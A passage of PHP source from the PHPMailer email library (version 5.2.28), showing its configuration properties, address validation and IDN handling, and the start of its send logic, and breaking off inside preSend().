    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

